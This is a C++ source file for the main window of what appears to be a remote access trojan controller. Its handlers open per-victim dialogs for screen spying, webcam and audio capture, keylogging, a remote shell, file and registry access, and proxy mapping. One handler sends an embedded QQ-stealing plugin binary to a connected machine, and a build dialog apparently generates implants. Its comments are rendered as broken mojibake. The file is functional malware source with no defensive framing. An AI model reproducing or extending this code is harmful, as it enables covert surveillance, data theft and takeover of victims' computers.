CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_SCREENSPY, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = SCREENSPY_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
|
||
CFileManagerDlg *dlg = new CFileManagerDlg(this, m_iocpServer, pContext);
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_FILEMANAGER, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = FILEMANAGER_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
|
||
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_SHELL, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = SHELL_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenWebCamDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CWebCamDlg *dlg = new CWebCamDlg(this, m_iocpServer, pContext);
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_WEBCAM, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
pContext->m_Dialog[0] = WEBCAM_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenServiceDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CServiceDlg *dlg = new CServiceDlg(this, m_iocpServer, pContext);
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_SERVICE, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
pContext->m_Dialog[0] = SERVICE_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_AUDIO, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
pContext->m_Dialog[0] = AUDIO_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CKeyBoardDlg *dlg = new CKeyBoardDlg(this, m_iocpServer, pContext);
|
||
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_KEYBOARD, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = KEYBOARD_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenChatDialog(WPARAM wParam, LPARAM lParam) // <20><><EFBFBD>а<EFBFBD>
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CMydat *dlg = new CMydat(this, m_iocpServer, pContext);
|
||
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_CHAT, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = GETDAT_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnModifyList(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
if (pContext == NULL)
|
||
return 0;
|
||
|
||
CPcView* pView = NULL;
|
||
pView = DYNAMIC_DOWNCAST(CPcView, CWnd::FromHandle(g_pTabView->m_wndTabControl.GetSelectedItem()->GetHandle()));
|
||
|
||
int nCount = pView->m_pListCtrl->GetItemCount();
|
||
|
||
for (int i=0; i < nCount; i++)
|
||
{
|
||
if (pContext == (ClientContext *)pView->m_pListCtrl->GetItemData(i))
|
||
{
|
||
CString str, strTemp;
|
||
|
||
str = pView->m_pListCtrl->GetItemText(i,3);
|
||
int n = str.Find("*");
|
||
if (n == 0)
|
||
{
|
||
str = str.Right(str.GetLength() - 1);
|
||
}
|
||
strTemp = "*";
|
||
strTemp += str;
|
||
|
||
pView->m_pListCtrl->SetItemText(i,3,strTemp);
|
||
|
||
break;
|
||
}
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
#include "InputDlg.h"
|
||
#include "TextChatDlg.h"
|
||
LRESULT CMainFrame::OnOpenTextChatDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CTextChatDlg *dlg = new CTextChatDlg(this, m_iocpServer, pContext);
|
||
|
||
CInputDialog Indlg;
|
||
Indlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>", _T("<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>Ĭ<EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>Ϊ(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)ET:"), this);
|
||
if (Indlg.DoModal() != IDOK)
|
||
dlg->strName = "ET:\r\n";
|
||
else
|
||
dlg->strName.Format("%s:\r\n",Indlg.m_str.GetBuffer(0));
|
||
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_TEXTCHAT, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = CHAT_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext);
|
||
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_SYSTEM, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = SYSTEM_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenRegeditDialog(WPARAM wParam, LPARAM lParam) //ע<><D7A2><EFBFBD><EFBFBD>
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CRegeditDlg *dlg = new CRegeditDlg(this, m_iocpServer, pContext);
|
||
//<2F><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_REGEDIT, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
pContext->m_Dialog[0] = REGEDIT_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
return 0;
|
||
}
|
||
#include "SelectQQ.h"
|
||
#include "..\Bin\Plugins\C_GETQQ.h"
|
||
|
||
LRESULT CMainFrame::OnOpenQQBoxDialog(WPARAM wParam, LPARAM lParam) //ע<><D7A2><EFBFBD><EFBFBD>
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
|
||
|
||
|
||
|
||
|
||
CString str = pContext->m_DeCompressionBuffer.GetBuffer(1);
|
||
|
||
CSelectQQ dlg(str);
|
||
if (dlg.DoModal() == IDOK)
|
||
{
|
||
/* int nPacketLength = dlg.m_strSelect.GetLength() + 2;
|
||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||
lpPacket[0] = COMMAND_QQBOX;
|
||
memcpy(lpPacket + 1, dlg.m_strSelect.GetBuffer(0), nPacketLength);
|
||
|
||
*/
|
||
|
||
|
||
int nqqPacketLength = (GETQQMyFileSize + 1)*sizeof(char)+1 + 100;
|
||
LPBYTE lpqqPacket = new BYTE[nqqPacketLength];
|
||
if(lpqqPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>qq<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpqqPacket[0] = COMMAND_QQBOX;
|
||
memcpy(lpqqPacket + 1, dlg.m_strSelect.GetBuffer(0), 100);
|
||
|
||
memcpy(lpqqPacket + 1 + 100, (void*)GETQQMyFileBuf, nqqPacketLength - 101);
|
||
}
|
||
|
||
|
||
m_iocpServer->Send(pContext,lpqqPacket, nqqPacketLength -1);
|
||
LocalFree(lpqqPacket);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
|
||
|
||
LRESULT CMainFrame::OnOpenBuildDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
|
||
CBuild dlg;
|
||
dlg.DoModal();
|
||
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CMainFrame::OnOpenProxyMapDialog(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
ClientContext *pContext = (ClientContext *)lParam;
|
||
CProxyMapDlg *dlg = new CProxyMapDlg(this, m_iocpServer, pContext);
|
||
|
||
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ<CEAA><D7BF>
|
||
dlg->Create(IDD_DIALOG_PROXY_MAP, GetDesktopWindow());
|
||
dlg->ShowWindow(SW_SHOW);
|
||
|
||
pContext->m_Dialog[0] = PROXYMAP_DLG;
|
||
pContext->m_Dialog[1] = (int)dlg;
|
||
|
||
return 0;
|
||
}
|
||
|
||
void CMainFrame::OnTimer(UINT nIDEvent)
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
switch(nIDEvent)
|
||
{
|
||
case 0:
|
||
{
|
||
CString str1,str2;
|
||
str1.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %.2f kb/s", (float)m_iocpServer->m_nSendKbps / 1024);
|
||
str2.Format("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %.2f kb/s", (float)m_iocpServer->m_nRecvKbps / 1024);
|
||
m_wndStatusBar.SetPaneText(1, str1);
|
||
m_wndStatusBar.SetPaneText(2, str2);
|
||
m_iocpServer->m_nSendKbps = 0;
|
||
m_iocpServer->m_nRecvKbps = 0;
|
||
}
|
||
break;
|
||
// case 1:
|
||
// {
|
||
//
|
||
//
|
||
// if (MessageBox("<22><><EFBFBD><EFBFBD>ʱ<EFBFBD>䵽<EFBFBD><E4B5BD><EFBFBD><EFBFBD>Ϊ<EFBFBD>˲<EFBFBD>Ӱ<EFBFBD><D3B0><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>¼<EFBFBD>ٷ<EFBFBD>QQȺ<51><C8BA>ͨ<EFBFBD><CDA8><EFBFBD>߰汾<DFB0><E6B1BE>", "<22><><EFBFBD><EFBFBD>", MB_OK) == IDOK)
|
||
// {
|
||
// KillTimer(0); //<2F>رն<D8B1>ʱ<EFBFBD><CAB1>
|
||
// exit(0);
|
||
// ExitProcess(0);
|
||
// }
|
||
//
|
||
// }
|
||
// break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
CXTPFrameWnd::OnTimer(nIDEvent);
|
||
}
|
||
|
||
//#include "..\Bin\Plugins\C_UpdateIP.h"
|
||
// BOOL _OpenFile()
|
||
// {
|
||
// char strExePath[MAX_PATH] = {0};
|
||
//
|
||
// lstrcat(strExePath, "UpdateIP.EXE");
|
||
//
|
||
// if(GetFileAttributesA(strExePath) == 1) //<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
// {
|
||
// ShellExecute(NULL,"open",strExePath,NULL,NULL,SW_SHOW); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD>
|
||
// return TRUE;
|
||
// }
|
||
//
|
||
// const void *filedata = (LPCTSTR)UpdateIPMyFileBuf;
|
||
// UINT size = UpdateIPMyFileSize;
|
||
//
|
||
// HANDLE hFile =
|
||
// CreateFile
|
||
// (
|
||
// strExePath,
|
||
// GENERIC_WRITE,
|
||
// FILE_SHARE_WRITE,
|
||
// NULL,
|
||
// CREATE_ALWAYS,
|
||
// FILE_ATTRIBUTE_NORMAL,
|
||
// 0
|
||
// );
|
||
//
|
||
// // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
// if (hFile == INVALID_HANDLE_VALUE)
|
||
// {
|
||
// return false;
|
||
// }
|
||
//
|
||
// // д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||
// DWORD dwBytesWrite;
|
||
// WriteFile
|
||
// (
|
||
// hFile,
|
||
// filedata,
|
||
// size,
|
||
// &dwBytesWrite,
|
||
// NULL
|
||
// );
|
||
// CloseHandle(hFile);
|
||
//
|
||
// char *lpExt = strrchr(strExePath, '.');
|
||
// if (!lpExt)
|
||
// return false;
|
||
//
|
||
// char BvtmX12[] = {'o','p','e','n','\0'};
|
||
// if(GetFileAttributesA(strExePath) == -1) //<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
// return false;
|
||
//
|
||
// ShellExecute(NULL,BvtmX12,strExePath,NULL,NULL,SW_SHOW); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>ļ<EFBFBD>
|
||
//
|
||
// return false;
|
||
// }
|
||
void CMainFrame::OnMenuitemUpdateIp()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
// _OpenFile();
|
||
CUpdateDlg dlg;
|
||
dlg.DoModal();
|
||
|
||
|
||
|
||
}
|
||
LRESULT CMainFrame::OnDockingPaneNotify(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
if (wParam == XTP_DPN_SHOWWINDOW)
|
||
{
|
||
// get a pointer to the docking pane being shown.
|
||
CXTPDockingPane* pPane = (CXTPDockingPane*)lParam;
|
||
if (!pPane->IsValid())
|
||
{
|
||
CWnd* pWnd = NULL;
|
||
if (m_mapPanes.Lookup(pPane->GetID(), pWnd))
|
||
{
|
||
pPane->Attach(pWnd);
|
||
}
|
||
}
|
||
|
||
return TRUE; // handled
|
||
}
|
||
return FALSE;
|
||
} |